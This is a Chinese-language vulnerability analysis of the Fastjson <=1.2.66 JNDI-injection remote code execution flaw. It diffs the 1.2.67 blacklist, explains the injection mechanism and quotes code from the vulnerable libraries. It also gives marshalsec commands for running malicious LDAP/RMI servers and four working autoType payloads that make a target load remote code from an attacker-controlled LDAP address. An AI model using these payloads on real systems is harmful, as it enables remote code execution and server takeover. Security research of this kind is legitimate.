Fastjson1.2.6 6 遠程代碼執行漏洞分析復現含 4 個 Gadget 利用 Poc 構造

作者：Ja0k@SecurityCN
時間：2020年3月22日

一、事件背景

近日，Fastjson發布了新版本1.2.67新增了autoType黑名單，在1.2.66及之前版本中存在大量通過JNDI注入繞過黑名單限制的而導致遠程代碼執行漏洞，遠程攻擊者可以通過構造的攻擊代碼觸發遠程代碼執行漏洞，最終可以獲取到服務器的控制權限。

二、漏洞信息

漏洞名稱	Fastjson 遠程代碼執行漏洞
CVE編號	-
影響范圍	<=1.2.66
威脅等級	高危
公開時間	2020年3月19日

三、漏洞分析

補丁對比

通過對比1.2.66和1.2.67版本ParserConfig.java文件中checkautotype類的denyHashCode發現新增了16個黑名單Gadget

注：1.2.42版本之前的黑名單是以denyList形式，存在被黑客利用里面Gadget來攻擊低版本的fastjson風險，之后版本碼中黑名單都是以hashCode的方式存放在源碼里，denyHashCode的計算方式略微復雜，增加了攻擊門檻。

jndi注入產生的原因可以歸結到以下4點

lookup參數可控。
InitialContext類及他的子類的lookup方法允許動態協議轉換
lookup查找的對象是Reference類型及其子類
當遠程調用類的時候默認會在rmi服務器中的classpath中查找，如果不存在就會去url地址去加載類。如果都加載不到就會失敗。

就可以實現遠程加載惡意的對象，實現遠程代碼執行。我們發現存在3種方法，可以通過jndi注入導致遠程代碼執行:

rmi、通過jndi reference遠程調用object方法
LDAP 通過序列化對象，JNDI Referene，ldap地址
CORBA IOR 遠程獲取實現類

可以使用marshalsec-0.0.3-SNAPSHOT-all.jar開啟rmi/ldap 調用web服務器中的惡意對象

1.LDAP 方式

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer

http://127.0.0.1:8000/#Calc

2.RMI 方式

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer

http://127.0.0.1:8000/#Calc

本次將分析已公開的4個Gadget JndiObjectFactory、AnterosDBCPConfig 、CacheJndiTmLookup和JtaTransactionConfig

黑名單里有10幾個Gadget，后續慢慢研究

1. org.apache.shiro.jndi.JndiObjectFactory

在org.apache.shiro-core-1.5.1.jar 包中

    public T getInstance() {
        try {
            if(requiredType != null) {
                return requiredType.cast(this.lookup(resourceName, requiredType));
            } else {
                return (T) this.lookup(resourceName);
            }

resourceName 參數可控 poc構造1:

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

2. br.com.anteros.dbcp.AnterosDBCPConfig

找lookup

get Object Or Perform Jndi Look up

   private Object getObjectOrPerformJndiLookup(Object object)
   {
      if (object instanceof String) {
         try {
            InitialContext initCtx = new InitialContext();
            return initCtx.lookup((String) object);
         }
         catch (NamingException e) {
            throw new IllegalArgumentException(e);
         }
      }
      return object;

跟一下調用，發現是傳遞參數為metric Registry poc構造2:

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

3. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

s 的值為列表jndiNames經過iterator().next遍歷返回的對象序列再轉化為Sting，jndiNames也是可控 poc構造3:

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

4. com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

  public void setProperties(Properties props) throws SQLException, TransactionException {
    String utxName = null;
    try {
      utxName = (String) props.get("UserTransaction");
      InitialContext initCtx = new InitialContext();
      userTransaction = (UserTransaction) initCtx.lookup(utxName);
    } catch (NamingException e) {
      throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + ").  Cause: " + e);
    }
  }

User Transaction參數可控 poc構造4:

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}